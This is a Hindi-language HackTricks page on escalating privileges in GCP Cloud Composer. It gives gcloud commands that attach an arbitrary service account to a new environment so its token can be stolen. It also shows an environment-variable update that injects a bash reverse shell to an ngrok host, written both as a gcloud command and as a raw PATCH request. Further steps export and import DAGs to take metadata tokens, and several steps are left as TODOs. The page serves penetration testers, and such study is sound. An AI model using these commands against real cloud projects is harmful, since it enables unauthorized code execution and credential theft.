GCP - Composer Privesc

HackTricks को समर्थन दें

composer

अधिक जानकारी के लिए:

GCP - Composer Enum

composer.environments.create

इस अनुमति के साथ नए composer environment में किसी भी service account को संलग्न करना संभव है। बाद में आप composer के अंदर कोड निष्पादित कर सकते हैं ताकि service account token को चुरा सकें।

gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"

More info about the exploitation here.

composer.environments.update

यह संभव है कि composer environment को अपडेट किया जा सके, उदाहरण के लिए, env variables को संशोधित करके:

# Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
projects/<project-id>/locations/<location>/environments/<composer-env-name> \
--update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
--location <location> \
--project <project-id>

# Call the API endpoint directly
PATCH /v1/projects/<project-id>/locations/<location>/environments/<composer-env-name>?alt=json&updateMask=config.software_config.env_variables HTTP/2
Host: composer.googleapis.com
User-Agent: google-cloud-sdk gcloud/480.0.0 command/gcloud.composer.environments.update invocation-id/826970373cd441a8801d6a977deba693 environment/None environment-version/None client-os/MACOSX client-os-ver/23.4.0 client-pltf-arch/arm interactive/True from-script/False python/3.12.3 term/xterm-256color (Macintosh; Intel Mac OS X 23.4.0)
Accept-Encoding: gzip, deflate, br
Accept: application/json
Content-Length: 178
Content-Type: application/json
X-Goog-Api-Client: cred-type/sa
Authorization: Bearer [token]
X-Allowed-Locations: 0x0

{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}

TODO: नए pypi packages को environment में जोड़कर RCE प्राप्त करें

Dags डाउनलोड करें

चलाए जा रहे dags के source code की जाँच करें:

mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags

Import Dags

पर्यावरण से समझौता करने और मेटाडेटा एंडपॉइंट से टोकन चुराने में सक्षम होने के लिए Dags कोड आयात करें:

# TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/asd

प्लगइन्स इम्पोर्ट करें

TODO: प्लगइन्स अपलोड करके क्या समझौता किया जा सकता है, इसकी जांच करें

डेटा इम्पोर्ट करें

TODO: डेटा अपलोड करके क्या समझौता किया जा सकता है, इसकी जांच करें

HackTricks को सपोर्ट करें

Last updated